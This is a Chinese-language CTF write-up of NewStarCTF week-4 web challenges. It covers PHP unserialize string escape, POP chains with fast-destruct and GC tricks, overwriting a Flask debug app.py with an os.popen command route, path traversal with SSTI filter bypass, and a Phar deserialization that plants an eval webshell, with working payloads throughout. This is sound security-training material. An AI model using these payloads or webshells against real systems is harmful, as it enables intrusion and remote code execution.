NewStarCTF第四周,菜鸟的wp
逃 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );function waf ($str ) { return str_replace ("bad" ,"good" ,$str ); }class GetFlag { public $key ; public $cmd = "whoami" ; public function __construct ($key ) { $this ->key = $key ; } public function __destruct ( ) { system ($this ->cmd); } }unserialize (waf (serialize (new GetFlag ($_GET ['key' ])))); www-data www-data
简单反序列化字符串逃逸,代码限制了$cmd
的值只能是whoami
,不过输入的$key
可控,同时经过str_replace
后bad
被换成good
,会往后吞一个字符。
构造";s:3:"cmd";s:2:"ls";}
,这东西长度一共22
,所以要放22
个bad
。经过waf
后被替换它吐出去。
payload:
1 $key =badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:" cmd";s:2:" ls ";}
1 $key =badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:" cmd";s:4:" ls /";}
1 $key =badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:" cmd";s:9:" cat /flag";}
flag{86b29bdb-7b5e-4348-b81e-84953119c4fc}
More Fast 题目描述:再快一点我就能拿到Flag了,如果Destruct能早一点触发就好了…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php highlight_file (__FILE__ );class Start { public $errMsg ; public function __destruct ( ) { die ($this ->errMsg); } }class Pwn { public $obj ; public function __invoke ( ) { $this ->obj->evil (); } public function evil ( ) { phpinfo (); } }class Reverse { public $func ; public function __get ($var ) { ($this ->func)(); } }class Web { public $func ; public $var ; public function evil ( ) { if (!preg_match ("/flag/i" ,$this ->var )){ ($this ->func)($this ->var ); }else { echo "Not Flag" ; } } }class Crypto { public $obj ; public function __toString ( ) { $wel = $this ->obj->good; return "NewStar" ; } }class Misc { public function evil ( ) { echo "good job but nothing" ; } }$a = @unserialize ($_POST ['fast' ]);throw new Exception ("Nope" ); Fatal error: Uncaught Exception : Nope in /var /www/html/index.php:55 Stack trace:
正常pop
链构造的题不过底下加了个throw new Exception("Nope");
。最开始没注意这个东西直接写了链子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php class Start { public $errMsg ; }class Pwn { public $obj ; }class Reverse { public $func ; }class Web { public $func = 'system' ; public $var = 'ls' ; }class Crypto { public $obj ; }class Misc { }$a = new Start ();$b = new Crypto ();$c = new Reverse ();$d = new Pwn ();$e = new Web ();$a -> errMsg = $b ;$b -> obj = $c ;$c -> func = $d ;$d -> obj = $e ;echo serialize ($a );
后面才知道考点是fast destruct
,下面的内容参考了:https://eastjun.top/posts/php_unserialize_tricks/
通常反序列化的入口都是__destruct()
方法,``__wakeup()方法的内容一般为反序列化设置了某些限制,需要我们绕过。**如果在反序列化操作之后抛出了异常则会跳过
__destruct()函数的执行。可以理解为
throw这个函数回收了自动销毁的类,导致
destruct检测不到有东西销毁,也就没法触发
destruct`函数**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class Clazz { public $func ; public $args ; public function __destruct ( ) { call_user_func ($this ->func, $this ->args); } }$a = @unserialize ($_POST ['data' ]);throw new Exception ("Hacker" );
POST
传O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:6:"whoami";}
不会得到任何结果。
因为反序列化操作执行后没有立刻执行__destruct()
方法,而是抛出了异常导致__destruct()
方法被跳过。但是我们可以修改序列化得到的字符串使得反序列化解析出错,导致__destruct()
方法被提前执行。
我们正常的序列化结果是:O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:6:"whoami";}
可以修改为:
1 2 3 4 O: 5 : "Clazz" : 2 : { s: 4 : "func" ;s: 6 : "system" ;s: 4 : "args" ;s: 6 : "whoami" ;1 } O: 5 : "Clazz" : 2 : { s: 4 : "func" ;s: 6 : "system" ;s: 4 : "args" ;s: 6 : "whoami" ;
unserialize()
函数在扫描到序列化字符串格式有误时会提取触发对象的__destruct()
方法导致命令执行。
data=O:5:"Clazz":2:{s:4:"func";s:6:"system";s:4:"args";s:6:"whoami";1}
后面看了其它师傅的wp
发现还有其它解法:
https://blog.csdn.net/m0_73512445/article/details/133694293
https://blog.csdn.net/Myon5/article/details/134018456
GC回收机制提前触发__destruct()
在PHP中,使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉。在回收的过程中,它会自动触发_destruct方法。 可以令$v = array($a,NULL)
然后echo serialize($v)
:
1 a :2 :{i:0 ;O:5 :"Start" :1 :{s:6 :"errMsg" ;O:6 :"Crypto" :1 :{s:3 :"obj" ;O:7 :"Reverse" :1 :{s:4 :"func" ;O:3 :"Pwn" :1 :{s:3 :"obj" ;O:3 :"Web" :2 :{s:4 :"func" ;s:6 :"system" ;s:3 :"var" ;s:2 :"ls" ;}}}}}i:1 ;N;}
然后把i:1;N;
的1
改成0
:
1 a :2 :{i:0 ;O:5 :"Start" :1 :{s:6 :"errMsg" ;O:6 :"Crypto" :1 :{s:3 :"obj" ;O:7 :"Reverse" :1 :{s:4 :"func" ;O:3 :"Pwn" :1 :{s:3 :"obj" ;O:3 :"Web" :2 :{s:4 :"func" ;s:6 :"system" ;s:3 :"var" ;s:2 :"ls" ;}}}}}i:0 ;N;}
至于为啥修改我也不是很清楚。。
flask disk
三个路由:list
,upload
,console
。
1 2 3 4 5 6 /list app.py 1746b 2023-10-14 11:16:00 /upload 上传文件 /console 输入PIN码
一开始以为要去生成PIN
码然后进控制台。。但捣鼓半天也没找到能读我需要的数据的地方。
upload
这个路由倒是没啥限制,但我上传完东西不知道上传路径是啥。
后面看了下wp
(参考:https://blog.csdn.net/m0_73512445/article/details/133694293
):
因为访问console
这个路由会提示要输入PIN
码(说明flask
开启了debug
模式。flask
开启了debug
模式下,app.py
源文件被修改后会立刻加载。所以只需要上传一个能rce
的app.py
文件把原来的覆盖,就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from flask import Flask,requestimport os app = Flask(__name__)@app.route('/' ) def index (): try : cmd = request.args.get('cmd' ) data = os.popen(cmd).read() return data except : pass return "1" if __name__=='__main__' : app.run(host='0.0.0.0' ,port=5000 ,debug=True )
InjectMe 1 2 3 4 5 6 7 //DockerfileFROM vulhub/flask:1.1 .1 ENV FLAG=flag{not_here}COPY src/ /app RUN mv /app/start.sh /start.sh && chmod 777 /start.sh CMD [ "/start.sh" ] EXPOSE 8080
/app
目录泄露,里面有原本在src
目录中的文件。
注意URL
1 2 3 4 5 6 7 8 9 10 11 12 13 @app.route("/download" , methods=["GET" ] ) def dwonload (): filename = request.arg.get('file' , '' ) if filename: filename = filename.replace('../' , '' ) filename = os.path.join('static/img/' , filename) print (filename) if (os.path.exists(filename)) and ("start" not in filename): return send_file(filename) else : abort(500 ) else : abort(404 )
我们利用目录穿越去找app,py
:
cancanneed?file=..././..././..././app/app.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import osimport refrom flask import Flask, render_template, request, abort, send_file, session, render_template_stringfrom config import secret_key app = Flask(__name__) app.secret_key = secret_key@app.route('/' ) def hello_world (): return render_template('index.html' )@app.route("/cancanneed" , methods=["GET" ] ) def cancanneed (): all_filename = os.listdir('./static/img/' ) filename = request.args.get('file' , '' ) if filename: return render_template('img.html' , filename=filename, all_filename=all_filename) else : return f"{str (os.listdir('./static/img/' ))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>" @app.route("/download" , methods=["GET" ] ) def download (): filename = request.args.get('file' , '' ) if filename: filename = filename.replace('../' , '' ) filename = os.path.join('static/img/' , filename) print (filename) if (os.path.exists(filename)) and ("start" not in filename): return send_file(filename) else : abort(500 ) else : abort(404 )@app.route('/backdoor' , methods=["GET" ] ) def backdoor (): try : print (session.get("user" )) if session.get("user" ) is None : session['user' ] = "guest" name = session.get("user" ) if re.findall( r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.' , name): abort(500 ) else : return render_template_string( '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name) except Exception: abort(500 )
注意/backdoor
则个路由,很明显这里存在SSTI
from config import secret_key
目录穿越找config.py
:
cancanneed?file=..././..././..././app/config.py
secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
抓包看SESSION
:
eyJ1c2VyIjoiZ3Vlc3QifQ.ZWMqqQ.pyASrkelEUhTYiw79-4TDZ-IzwM
之前在Kali
下过,直接用了:
注入点就是这个guest
了,但过滤了挺多东西。可以把guest
换成{%print(7*7)%}
看看:
{'user': '{%print(7*7)%}'}
其实+
这东西被过滤了无所谓的,["__cla""ss__"]
能达到同样的效果
{'user': '{%print(7*7)%}'}
{%%20print([]["__cl""ass__")%20%}
PharOne
源码中提示class.php
:
1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ );class Flag { public $cmd ; public function __destruct ( ) { @exec ($this ->cmd); } } @unlink ($_POST ['file' ]);
Phar反序列化
,参考:https://mochu.blog.csdn.net/article/details/106909777
这东西个人理解主要就是phar
压缩文件时,会序列化用户可控的meta-data
的内容。然后和phar://
协议配合把这个字段的内容反序列化,从而触发__destruct()
等方法。
利用条件:
1 2 3 4 5 6 7 8 9 10 11 // 参考:https:// www.cnblogs.com/CoLo/ p/16786627 .html1 、phar文件能够上传至服务器 // 即要求存在file_get_contents()、fopen()这种函数2 、要有可利用的魔术方法// 这个的话用一位大师傅的话说就是利用魔术方法作为"跳板" 3 、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤// 一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是`Phar:// `这种,如果这几个特殊字符被过滤就无法实现反序列化4 、php.ini中的phar.readonly选项,需要为Off(默认是on)。
利用参考文章中的代码生成我们需要的phar
文件:
要注意的就是exec是没回显的,如果是eval我们直接可以写命令进去
看了官方的wp,学习了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class Flag { public $cmd ; }$a =new Flag ();$a ->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php" ;$phar = new Phar ("hacker.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($a );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering (); ?>
\
这东西是转义用的:
对于$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
利用echo
输出<?=@eval(\\\$_POST['a']);?>
这个字符串,然后把它重定向到/var/www/html/1.php
中。简单说就是把一句话木马写到对应文件里。
可以看下AI
解释:
再补充一下关于连续三个转义符号的解释。。直接贴我和x1r0z
如果题目给的是eval
就没这么麻烦了。。
可以自己起个环境,访问/whatphar.php
,在根目录刷新一下就能出现我们需要的hacker.phar
文件了。
对于phar://
协议来说文件名不重要,只要内容格式是phar即可触发反序列化:
。。触发了过滤,检查了文件内容并且不允许出现__HALT_COMPILER();?>
。
不过对于Phar
文件结构来说,a sub
中要求phar
文件必须以__HALT_COMPILER();?>
结尾,否则无法被phar扩展
识别为phar
文件。
搜了下phar文件过滤__HALT_COMPILER();?>
:https://cloud.tencent.com/developer/article/2278965
可以利用gizp
将生成的Phar文件进行压缩:
然后将生成的hello.jpg
直接上传,会给个上传路径:
进class.php
,利用phar
协议反序列化:
file=phar://upload/f19fac1b1e7aa6a2df2d5cb5eada2d10.jpg
然后访问1.php
,POST
给a
传参执行命令就行了。
OtenkiBoy 这题不会。。跟着官方wp
做的
下载附件后先看hint
:
进入routes
下(注意merge
函数):
1 2 3 4 5 6 const { mergeJSON, createDate } = require ("./_components/utils" );const CONFIG = mergeJSON (require ("../config.default" ), require ("../config" ), true );const { rndID, mergeJSON } = require ("./_components/utils" );const result = await insert2db (mergeJSON (DEFAULT , data));
利用require
引入了一个名为mergeJSON
的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 const mergeJSON = function (target, patch, deep = false ) { if (typeof patch !== "object" ) return patch; if (Array .isArray (patch)) return patch; if (!target) target = {} if (deep) { target = copyJSON (target), patch = copyJSON (patch); } for (let key in patch) { if (key === "__proto__" ) continue ; if (target[key] !== patch[key]) target[key] = mergeJSON (target[key], patch[key]); } return target; }